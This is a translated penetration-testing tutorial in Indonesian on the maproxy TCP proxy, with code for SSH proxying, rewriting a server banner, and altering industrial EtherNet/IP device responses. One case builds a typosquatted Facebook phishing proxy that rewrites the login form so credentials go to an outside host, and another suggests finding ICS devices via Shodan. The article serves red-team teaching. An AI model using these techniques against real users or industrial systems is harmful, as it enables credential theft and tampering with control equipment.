Terjemahan artikel disiapkan sebelum dimulainya Pentest. Praktik Pengujian Penetrasi . ”

anotasi
Berbagai jenis penilaian keamanan, dari pengujian penetrasi reguler dan operasi Tim Merah hingga meretas perangkat IoT / ICS dan SCADA, berarti bekerja dengan protokol jaringan biner, yaitu, pada dasarnya, mencegat dan memodifikasi data jaringan antara klien dan target. Mengendus lalu lintas jaringan bukanlah tugas yang sulit, karena kami memiliki alat seperti Wireshark, Tcpdump atau Scapy, tetapi modifikasi tampaknya lebih memakan waktu, karena kita akan memerlukan antarmuka yang unik untuk membaca data jaringan, menyaringnya, mengubahnya dengan cepat dan mengirim kembali ke host target dalam waktu yang hampir bersamaan. Selain itu, akan ideal jika alat semacam itu dapat secara otomatis bekerja dengan beberapa koneksi paralel dan memiliki kemampuan untuk menyesuaikan menggunakan skrip.Setelah saya menemukan alat yang disebut maproxy
, dokumentasi dengan cepat memberi tahu saya maproxy
- hanya apa yang saya butuhkan. Ini adalah proxy TCP yang cukup sederhana, serbaguna, dan mudah dikonfigurasi. Saya menguji alat ini pada beberapa aplikasi yang cukup kompleks, termasuk perangkat ICS (yang menghasilkan banyak paket) untuk mengetahui apakah ia dapat bekerja dengan banyak koneksi paralel, dan alat tersebut bekerja dengan baik.Artikel ini akan memperkenalkan Anda dengan pemrosesan data jaringan dengan cepat maproxy
.Gambaran
Alat ini maproxy
didasarkan pada Tornado, kerangka kerja jaringan Python asinkron yang populer dan berkembang dengan baik.Secara umum, ini dapat bekerja dalam beberapa mode:TCP:TCP
- koneksi TCP tidak terenkripsi;TCP:SSL
dan SSL:TCP
- dengan enkripsi satu arah;SSL:SSL
- enkripsi dua arah.
Itu datang sebagai perpustakaan. Untuk mulai cepat, Anda dapat menggunakan file sampel yang mencerminkan fungsi utama perpustakaan :all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kasus 1 - Proksi Dua Arah Sederhana
Berdasarkan pada tcp2tcp.py
:
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Secara default, ProxyServer()
dibutuhkan dua argumen - lokasi koneksi dan port tujuan. server.listen()
mengambil satu argumen - port untuk mendengarkan koneksi yang masuk.Eksekusi skrip:
Untuk melakukan pengujian, kami akan menyambung ke server SSH lokal melalui skrip proxy kami, yang mendengarkan 2222/tcp
port dan menghubungkan ke port 22/tcp
server SSH standar :
Spanduk selamat datang memberi tahu kami bahwa skrip sampel kami berhasil mem-proksi lalu lintas jaringan.Kasus 2 - modifikasi data
Skrip demo lain sangat logging_proxy.py
ideal untuk berinteraksi dengan data jaringan. Komentar dalam file menjelaskan metode kelas yang dapat Anda modifikasi untuk mencapai tujuan Anda:
Yang paling menarik di sini:on_c2p_done_read
- untuk mencegat data dalam perjalanan dari klien ke server;on_p2s_done_read
- terbalik.
Mari kita coba ubah spanduk SSH yang dikembalikan server ke klien:[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Jalankan skrip:
Seperti yang Anda lihat, klien disesatkan, karena untuk itu nama server SSH diubah menjadi «DumnySSH»
.
Kasus 3 - Halaman Web Phishing Sederhana
Ada banyak kegunaan untuk alat ini. Kali ini, mari kita fokus pada sesuatu yang lebih praktis dari area operasi Tim Merah. Mari kita meniru Arahan m.facebook.com
, dan menggunakan domain khusus dengan kesalahan ketik yang disengaja, misalnya m.facebok.com
. Untuk tujuan demonstrasi, anggap saja domain tersebut terdaftar oleh kami.Kami akan membuat koneksi jaringan yang tidak dienkripsi dengan proksi korban kami dan SSL Stream untuk server Facebook ( 31.13.81.36
). Agar contoh ini berfungsi, kita perlu mengganti header host HTTP dan mengimplementasikan nama host yang benar, dan kami juga akan menonaktifkan kompresi respons untuk mendapatkan akses mudah ke kontennya. Pada akhirnya, kami akan mengganti formulir HTML sehingga kredensial masuk dikirim kepada kami, alih-alih server Facebook:[…]
def on_c2p_done_read(self,data):
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Pada akhirnya:
Seperti yang Anda lihat, kami berhasil mengganti situs asli.Kasus 4 - Port Ethernet / IP
Saya telah berurusan dengan perangkat industri dan perangkat lunak (ICS / SCADA) selama beberapa waktu, seperti programmable controllers (PLC), modul input / output, drive, relay, lingkungan pemrograman tangga dan banyak lagi. Kasing ini untuk mereka yang suka barang-barang industri. Meretas solusi semacam itu melibatkan permainan aktif dengan protokol jaringan. Dalam contoh berikut, saya ingin menunjukkan bagaimana Anda dapat memodifikasi lalu lintas jaringan ICS / SCADA.Untuk melakukan ini, Anda perlu yang berikut:- Sniffer jaringan, misalnya, Wireshark;
- Ethernet / IP atau hanya perangkat SIP, Anda dapat menemukannya menggunakan layanan Shodan;
- Berbasis skrip kami
maproxy
.
Untuk memulai, mari kita lihat seperti apa respons otentikasi CIP (Common Industrial Protocol):
Identifikasi perangkat dilakukan dengan menggunakan Ethernet / IP, yang merupakan versi diperpanjang dari Ethernet untuk aplikasi industri, ia membungkus protokol kontrol seperti CIP. Kami akan mengubah nama identifikasi yang disorot, yang dapat dilihat pada tangkapan layar "NI-IndComm for Ethernet" menggunakan skrip proxy kami. Kami dapat menggunakan kembali skrip logging_proxy.py
dan memodifikasi metode kelas on_p2s_done_read
, karena kami ingin nama identifikasi yang berbeda terlihat di klien.Kode:[…]
def on_p2s_done_read(self,data):
if data[26:28] == b'\x0c\x00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Bahkan, kami meminta identifikasi perangkat dua kali, jawaban kedua adalah yang asli, dan yang pertama dimodifikasi dengan cepat.Dan yang terakhir
Menurut pendapat saya, alat yang maproxy
mudah dan sederhana yang juga ditulis dengan Python, jadi saya percaya Anda juga bisa mendapat manfaat dari penggunaannya. Tentu saja, ada alat yang lebih canggih untuk memproses dan mengubah data jaringan, tetapi mereka juga membutuhkan perhatian lebih dan biasanya dibuat untuk kasus penggunaan tertentu, misalnya, Muraena , Modlishka atau evilginx untuk kasus yang mirip dengan yang ketiga, atau canape untuk kasus terakhir. Dengan satu atau lain cara, dengan bantuan maproxy
Anda dapat dengan cepat mewujudkan ide-ide Anda untuk menyadap data jaringan, karena contoh skripnya sangat jelas.
Menguji mekanisme otentikasi dalam Windows AD